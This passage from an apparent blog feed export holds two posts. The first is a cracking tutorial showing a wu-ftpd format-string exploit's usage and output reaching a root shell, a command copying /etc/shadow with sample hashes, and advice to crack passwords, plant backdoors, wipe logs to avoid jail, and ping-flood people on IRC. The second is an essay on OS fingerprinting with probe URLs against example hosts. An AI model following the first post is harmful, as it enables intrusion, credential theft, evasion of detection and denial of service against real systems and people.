user &amp;nbsp; &amp;nbsp; &amp;nbsp;: anonymous user&lt;br /&gt;
dir &amp;nbsp; &amp;nbsp; &amp;nbsp; : if not anonymous user, you need to have writable directory&lt;br /&gt;
magic_str : magic string (see exploit description)&lt;br /&gt;
-g &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;: enables magic string digging&lt;br /&gt;
-x &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;: enables test mode&lt;br /&gt;
pass_addr : pointer to setproctitle argument&lt;br /&gt;
ret_addr &amp;nbsp;: this is pointer to shellcode&lt;br /&gt;
systypes:&lt;br /&gt;
&amp;nbsp; 0 - RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm&lt;br /&gt;
&amp;nbsp; 1 - RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm&lt;br /&gt;
&amp;nbsp; 2 - SuSe 6.3 with wuftpd 2.6.0(1) from rpm&lt;br /&gt;
&amp;nbsp; 3 - SuSe 6.4 with wuftpd 2.6.0(1) from rpm&lt;br /&gt;
&amp;nbsp; 4 - RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm (test)&lt;br /&gt;
&amp;nbsp; 5 - FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from ports&lt;br /&gt;
* 6 - FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from packages&lt;br /&gt;
&amp;nbsp; 7 - FreeBSD 3.4-RELEASE with wuftpd 2.6.0(1) from ports&lt;br /&gt;
&amp;nbsp; 8 - FreeBSD 4.0-RELEASE with wuftpd 2.6.0(1) from packages&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
$ ./wuftpd-god -s0 -t target.domain&lt;br /&gt;
&lt;br /&gt;
Target: target.domain (ftp/&amp;lt;shellcode&amp;gt;): RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm&lt;br /&gt;
Return Address: 0x08075844, AddrRetAddr: 0xbfffb028, Shellcode: 152&lt;br /&gt;
&lt;br /&gt;
loggin into system..&lt;br /&gt;
[32mUSER ftp&lt;br /&gt;
[0m331 Guest login ok, send your complete e-mail address as password.&lt;br /&gt;
[32mPASS &amp;lt;shellcode&amp;gt;&lt;br /&gt;
[0m230-Next time please use your e-mail address as your password&lt;br /&gt;
230- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;for example: joe@cc456375-b.abdn1.md.home.com&lt;br /&gt;
230 Guest login ok, access restrictions apply.&lt;br /&gt;
STEP 2 : Skipping, magic number already exists: [87,01:03,02:01,01:02,04]&lt;br /&gt;
STEP 3 : Checking if we can reach our return address by format string&lt;br /&gt;
Linux melmac 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown&lt;br /&gt;
uid=0(root) gid=0(root) egid=50(ftp) groups=50(ftp)&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
-------------------------------------------------------------------------------&lt;br /&gt;
If you want root generally an exploit is the way. Find the OS of the system&lt;br /&gt;
then visit hack.co.za or packetstorm and search for that os, exploit and you&lt;br /&gt;
should get some perl scripts/c scripts/shell scripts. Then just execute them&lt;br /&gt;
as directed and you should have root.&lt;br /&gt;
-------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
Already got a root shell, that was pretty easy. Just 3 commands to compile get help&lt;br /&gt;
and execute, a lot of times I think it is too easy.&lt;br /&gt;
&lt;br /&gt;
Ok, in some places you might want to know the actual root password in case they patch the exploit.&lt;br /&gt;
so lets say you have a root shell. Issue the command as below-&lt;br /&gt;
&lt;br /&gt;
(it is /etc/passwd if they did not install shadowing utils)&lt;br /&gt;
&lt;br /&gt;
---------------------------------------------------------------&lt;br /&gt;
# cat /etc/shadow &amp;gt; /root/passwd &amp;nbsp; &amp;nbsp; &lt;br /&gt;
root:34jk3h4jh3.,;8363:0:0:root:/root:/bin/bash&lt;br /&gt;
bin:x:1:1:bin:/bin:&lt;br /&gt;
daemon:x:2:2:daemon:/sbin:&lt;br /&gt;
adm:x:3:4:adm:/var/adm:&lt;br /&gt;
lp:x:4:7:lp:/var/spool/lpd:&lt;br /&gt;
sync:x:5:0:sync:/sbin:/bin/sync&lt;br /&gt;
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown&lt;br /&gt;
halt:x:7:0:halt:/sbin:/sbin/halt&lt;br /&gt;
mail:x:8:12:mail:/var/spool/mail:&lt;br /&gt;
news:x:9:13:news:/var/spool/news:&lt;br /&gt;
uucp:x:10:14:uucp:/var/spool/uucp:&lt;br /&gt;
operator:x:11:0:operator:/root:&lt;br /&gt;
games:x:12:100:games:/usr/games:&lt;br /&gt;
sympa:x:89:89:Sympa Mailing list manager:/home/sympa:/bin/bash&lt;br /&gt;
gopher:x:13:30:gopher:/usr/lib/gopher-data:&lt;br /&gt;
ftp:x:14:50:FTP User:/home/ftp:&lt;br /&gt;
nobody:x:99:99:Nobody:/:&lt;br /&gt;
xfs:x:100:103:X Font Server:/etc/X11/fs:/bin/false&lt;br /&gt;
fax:x:10:14:Fax Master:/home/fax/:/bin/bash&lt;br /&gt;
postfix:x:101:233:postfix:/var/spool/postfix:&lt;br /&gt;
gdm:x:42:235::/home/gdm:/bin/bash&lt;br /&gt;
grim:9hu.u8:501:501:grim:/home/grim:/bin/bash&lt;br /&gt;
banal:x:102:236:BANAL Administrator:/home/banal:/bin/bash&lt;br /&gt;
bleeb:36.34/363;86:502:506::/home/bleeb:/bin/bash&lt;br /&gt;
---------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
The above command saved it as /root/passwd, but then you must crack it. Use john the ripper,&lt;br /&gt;
it can be found at packetstorm and other places, I use it, it is so fast. Sometimes it takes years&lt;br /&gt;
to crack a password so I don&#39;t suggest relying on cracking&lt;br /&gt;
---------------------------------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; FIREWALLS&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;===========&lt;br /&gt;
&lt;br /&gt;
(8.) Firewalls can&#39;t stop you if you know what you are doing. In this text I use nmap a lot, it is good&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;for just about everything, nmap is short for network mapper. The newest version can be downloaded&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;from www.insecure.org &amp;nbsp;I love it&#39;s OS detection, it is so accurate, even wehn little services are&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;running, it analyzes the tcp fingerprint, which it has a large database of. Ok enough on the greatness&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;here is a simple option on nmap you can use to find the rules for firewalls. Issue &quot;nmap -sA&quot; . This&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;Will check the firewalls rules. I don&#39;t want to go to deep into it to make this text extremely more&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;boring than it is. If you would like to know more on this flag for nmap &amp;nbsp;(a - in front of a option&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;is a flag) just do &quot;man nmap&quot; at the shell prompt.&lt;br /&gt;
&lt;br /&gt;
---------------------------------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;WHAT TO DO AFTER GETTING IN&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ==============================&lt;br /&gt;
&lt;br /&gt;
(9.) What to do after you get in depends on how you are going to use the system, if you want to use it&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;to have an anonymous root shell then set up a backdoor. You can get backdoor&#39;s (trojans) at&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;www.packetstorm.securify.com. I think you should be able to set up a backdoor on your own, but&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;if for some reason you need help join #r00t-access on Dalnet and I can get you through but I will&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;NOT crack into the systems for you, but I can help out occasionally if you need to secure your system...&lt;br /&gt;
&lt;br /&gt;
---------------------------------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;HOW TO NOT GET CAUGHT&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; =======================&lt;br /&gt;
&lt;br /&gt;
(10.) Main thing is, DON&#39;T be STUPID. If you want to keep the remote shell, don&#39;t deface the site, don&#39;t&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; delete their files, try to leave the system as it was and delete the neccessary logs to do so, that&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; is all I have to say on this section.&lt;br /&gt;
&lt;br /&gt;
---------------------------------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; LOG CLEANING&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ================&lt;br /&gt;
&lt;br /&gt;
(11.) Log cleaning is the most important part of staying there and not going to jail. Rid your login/hostname&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; from logs, which on Linux are held in /var/log, and .bash_profile in your directory. The easiest way&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; to do this is to use a log cleaner which you can get from blackcode.com or packetstorm.&lt;br /&gt;
&lt;br /&gt;
---------------------------------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;FINDING A USE&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ===============&lt;br /&gt;
&lt;br /&gt;
(12.) I always have at least one rooted shell on me. I set up nmap and saint on them to hide my hostname,&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; maybe run a web proxy/bnc on it. Saint is a great tool, it can tell you what a system is vulnerable&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; to and can run remotely in your webbrowser with ease. Sometimes when people piss me off I decide to use&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; a couple boxes and flood em&#39;. like this-&lt;br /&gt;
&lt;br /&gt;
----------------------------------------------------------------&lt;br /&gt;
# ping -f -c 50 -s 4500 IPaddress&lt;br /&gt;
.........................................................&lt;br /&gt;
...........................................................&lt;br /&gt;
.........E...........E...EE........E..................E.......&lt;br /&gt;
..............E.......E.EEE...................E.E......&lt;br /&gt;
Host unreatchable. &amp;nbsp; &lt;br /&gt;
----------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
People consider it lame but sometimes i want certain people to just shutup on IRC so I flood them.&lt;br /&gt;
---------------------------------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; THE BAD HACKER&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ===================&lt;br /&gt;
&lt;br /&gt;
(13.) In this text I have not been talking of hacking, in fact it is refered to as cracking. I don&#39;t mess&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; up and systems and probably never will, not because I can&#39;t but because it is not right, plus if you got&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; caught you would get more jail time for damage charges. I dislike people into totalling things.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----------------------------------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://intohackingwithuntamed.blogspot.com/feeds/3296669472793645228/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/8981203489549642442/3296669472793645228?isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default/3296669472793645228'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default/3296669472793645228'/><link rel='alternate' type='text/html' href='http://intohackingwithuntamed.blogspot.com/2012/08/unix-hacking.html' title='UNIX hacking'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisSuTvt1OWhLypXb12-f_v2LFBA4lDWn_Zhtn_OPY5He30u8Ha7tHPW9J3lksVlNESHuj3ZdfvzrU4O-2EWYu7mLs9mJYhBLaIQSN07EgaFuteG4tz2j6T1918f0DDFIdTCyorDXogSkU/s72-c/Unix.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8981203489549642442.post-4773289885376937702</id><published>2012-08-15T04:50:00.000-07:00</published><updated>2012-08-15T05:16:51.114-07:00</updated><title type='text'>Advanced application-level OS fingerprinting</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;Advanced application-level OS fingerprinting: Practical approaches and examples&lt;/span&gt;&lt;/h2&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;The current state of OS fingerprinting involves, for the most part, layer 3 &amp;amp; 4 requests and responses. This includes tools like nmap, nessus, p0f, and sinFP. These tools make specific queries and examine the response for things like TCP/IP stack settings, TCP option support, the number of syn+ack packets sent before a timeout, the time interval between syn+ack packets, and the presence of a rst packet sent at timeout. Many of these things are manipulated or deformed by intermediary devices, and much of it can be fairly easily spoofed using freely available tools like IP Personality and Security Cloak.&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Application-level OS fingerprinting, on the other hand, relies on data gleaned from an application running on the target host. The current methods include the identification of OS-specific applications, such as Remote Desktop, and &quot;banner grabbing&quot;, which involves connecting to a cross-platform application and recording what operating system it claims to be running, usually in the welcome banner (thus the name). Banner grabbing is trivial to fool, usually requiring nothing more complicated than a change in a configuration file. It&#39;s not unheard of, for instance, for Apache servers to report that they are running on a Commodore 64.&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Considering this, I present an alternate approach to application-level OS fingerprinting. The general idea is that there are certain requests that can be made to cross-platform applications which result in OS-dependant responses. This can be in the form of the data returned by the application, the lack of response, or timing differences in the response, although this is almost certainly not a comprehensive list. One example of existing usage of this technique is in [5]. Based on known differences in responses and known OSes associated with specific responses, one can determine the OS of a host running a service for which such signatures exist.&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;There are, of course, many differences in operating systems, but only some of them are actually feasible to measure remotely (in general scenarios). Here&#39;s a non-comprehensive list:&lt;br /&gt;
&lt;br /&gt;
Newline characters&lt;br /&gt;
==================&lt;br /&gt;
0x0d -&amp;gt; Classic Mac OS&lt;br /&gt;
0x0d0a -&amp;gt; win32, DOS, OS/2, SymbianOS&lt;br /&gt;
0x0a -&amp;gt; *nix&lt;br /&gt;
0x15 -&amp;gt; EBCDIC-based&lt;br /&gt;
&lt;br /&gt;
Bit bucket&lt;br /&gt;
==========&lt;br /&gt;
/dev/null -&amp;gt; *nix&lt;br /&gt;
NUL -&amp;gt; Win32, DOS, OS/2&lt;br /&gt;
NIL -&amp;gt; Amiga&lt;br /&gt;
SYS$NULL: -&amp;gt; OpenVMS&lt;br /&gt;
*DUMMY -&amp;gt; Univac&lt;br /&gt;
&lt;br /&gt;
Directory separator [1]&lt;br /&gt;
===================&lt;br /&gt;
backslash -&amp;gt; win32, OS/2, symbianOS&lt;br /&gt;
slash -&amp;gt; *nix, amiga, domain, menuet&lt;br /&gt;
dot -&amp;gt; openVMS, riscOS&lt;br /&gt;
colon -&amp;gt; Classic Mac OS&lt;br /&gt;
&lt;br /&gt;
Root directory [1]&lt;br /&gt;
==============&lt;br /&gt;
/ -&amp;gt; *nix, menuetOS&lt;br /&gt;
\ -&amp;gt; SymbianOS&lt;br /&gt;
// -&amp;gt; Domain/OS&lt;br /&gt;
[drive letter]:\ -&amp;gt; win32, OS/2, DOS&lt;br /&gt;
[drive letter]:/ -&amp;gt; win32&lt;br /&gt;
[device name]: or [NODE&quot;accountname password&quot;]::[device name]: &amp;nbsp;-&amp;gt; OpenVMS&lt;br /&gt;
[drive name]: -&amp;gt; Classic Mac OS, AmigaOS&lt;br /&gt;
[volume or assign name]: -&amp;gt; AmigaOS&lt;br /&gt;
[fs type]::[drive number or disc name].$ -&amp;gt; RiscOS&lt;br /&gt;
&lt;br /&gt;
EOF marker&lt;br /&gt;
==========&lt;br /&gt;
0x1a -&amp;gt; Windows;&lt;br /&gt;
(int) -1 -&amp;gt; Pretty much everything else&lt;br /&gt;
&lt;br /&gt;
Filesystem differences&lt;br /&gt;
======================&lt;br /&gt;
Maximum path length&lt;br /&gt;
Maximum filename length&lt;br /&gt;
Illegal characters&lt;br /&gt;
Case sensitivity&lt;br /&gt;
Reserved filenames, special files&lt;br /&gt;
&lt;br /&gt;
***ILLEGAL NTFS CHARS***&lt;br /&gt;
&quot; / \ * ? &amp;lt; &amp;gt; | :&lt;br /&gt;
&lt;br /&gt;
***ILLEGAL FAT CHARS***&lt;br /&gt;
&quot; + , . / : ; &amp;lt; = &amp;gt; [ \ ] | .&lt;br /&gt;
&lt;br /&gt;
***ILLEGAL HPFS CHARS***&lt;br /&gt;
&quot; / : &amp;lt; &amp;gt; \ |&lt;br /&gt;
any char below 0x20&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Data alignment, word size, the existance of OS-specific binaries, and processor feature support are more criteria that can be used, but are less commonly determinable remotely.&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Additionally, there are differences that are specific to an application that can be used. This varies widely from application to application, but often, these differences take one of a couple of forms. They can be vulnerabilities, or code written to patch those vulnerabilities that exist only on certain platforms (Fyodor has already discussed exploit chronology in [2] but does not discuss testing the existance of mitigation code). Certain features of programs will not be supported on some OSes, and will on others. The presence of these features eliminates unsupported OSes as a possibility. Finally, certain applications will have features which give out system details very freely. As a part of a default Apache installation, a test perl cgi script, printenv.pl, is placed in the cgi-bin directory. This script, when run, prints all environment variables. This is more or less advanced banner grabbing, but it makes a nice example of leaky features that can be found in certain applications.&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;But enough talk. Let&#39;s get to some real examples!&lt;br /&gt;
&lt;br /&gt;
Example 1 - Apache 2.2.9&lt;br /&gt;
========================&lt;br /&gt;
&lt;br /&gt;
http://unix.example.com/\\\.&lt;br /&gt;
-URL must not be URL-encoded: PuTTY or an intercepting http-proxy can be used to ensure this&lt;br /&gt;
-Will return a 404 Not Found error&lt;br /&gt;
-Unix platform&lt;br /&gt;
&lt;br /&gt;
http://win32.example.com/\\\.&lt;br /&gt;
-Again, no URL-encoding&lt;br /&gt;
-Will return 200 OK and load front page&lt;br /&gt;
-Win32 platform&lt;br /&gt;
&lt;br /&gt;
(This is an example of mitigation code that exists only on Win32 installations of Apache. Apache, when compiled for Windows, will convert backslashes to slashes. On *nix, it will not. This would work even if there wasn&#39;t specific mitigation code for Win32, but the fact that Apache on *nix doesn&#39;t change the backslashes to slashes means that backslashes will be interpreted as a part of a filename, and will just be extraneous slashes to Win32, resulting in \\\. being interpreted as a filename on *nix, and as a reference to the root dir of the website on a win32 machine.)&lt;br /&gt;
&lt;br /&gt;
Example 2 - Apache 2.2.9&lt;br /&gt;
========================&lt;br /&gt;
&lt;br /&gt;
http://unix.example.com/nul&lt;br /&gt;
-Returns 404 Not Found&lt;br /&gt;
-Not a windows based system&lt;br /&gt;
&lt;br /&gt;
http://win32.example.com/nul&lt;br /&gt;
-Returns 403 Forbidden&lt;br /&gt;
-Win32&lt;br /&gt;
&lt;br /&gt;
(This works because Apache won’t have read access to the bit bucket… nothing should!&lt;br /&gt;
On DOS-style systems, special files like nul and con “exist” and can be accessed from all directories. This should also work on other cross-platform web servers, ftp daemons, etc but I haven’t tested it)&lt;br /&gt;
&lt;br /&gt;
Example 3 - Apache 2.2.9&lt;br /&gt;
========================&lt;br /&gt;
&lt;br /&gt;
http://unix.example.com/%1a&lt;br /&gt;
-404 Not Found&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
http://win32.example.com/%1a&lt;br /&gt;
-403 Forbidden&lt;br /&gt;
&lt;br /&gt;
(Apache on Win32 doesn’t appreciate EOF markers being stuck into URIs&lt;br /&gt;
Funny enough, it doesn’t like anything but GL codes(0x20-0x7f).&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;I don’t know where in the code this happens. I think it’s likely a limitation of the system-level functions failing with characters outside a given range. Other operating systems aren’t as picky.)&lt;br /&gt;
&lt;br /&gt;
Example 4&lt;br /&gt;
=========&lt;br /&gt;
&lt;br /&gt;
http://winme.example.com/images/thumbs.db&lt;br /&gt;
-Has drive and pathnames in file&lt;br /&gt;
&lt;br /&gt;
http://winxp.example.com/images/thumbs.db&lt;br /&gt;
-No drive or pathnames in file&lt;br /&gt;
&lt;br /&gt;
http://xpmedia.example.com/images/ehthumbs.db&lt;br /&gt;
-Unique to XP Media Center&lt;br /&gt;
&lt;br /&gt;
Thumbs.db&lt;br /&gt;
-Auto-generated image thumbnail database&lt;br /&gt;
-Exists in every dir with images (or certain other files) viewed in Windows Explorer with thumbnails on (even if images are later deleted)&lt;br /&gt;
-Generated on 98, ME, 2K, XP, 2003 (Maybe more, documentation is very sparse)&lt;br /&gt;
-Differs in contents between 98/ME/2K and XP/2003&lt;br /&gt;
-Win2k will use alternate data streams for thumbnail storage on NTFS volumes and thumbs.db on FAT partitions&lt;br /&gt;
-Windows XP Media Center Edition will also create ehthumbs.db for videos&lt;br /&gt;
&lt;br /&gt;
(table expanded from [3])&lt;br /&gt;
System&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;|&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Win98&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;|&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;WinME&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;|&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Win2k&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;|&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;WinXP&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;|&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Win2k3&lt;br /&gt;
--------+---------------+---------------+---------------+---------------+---------------&lt;br /&gt;
Drive&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;|&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Yes&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;|&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Yes&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;|&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Yes&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;|&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;No&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;|&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;No&lt;br /&gt;
Filename|&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Yes&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;|&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Yes&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;|&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Yes&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;|&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Yes&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;|&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Yes&lt;br /&gt;
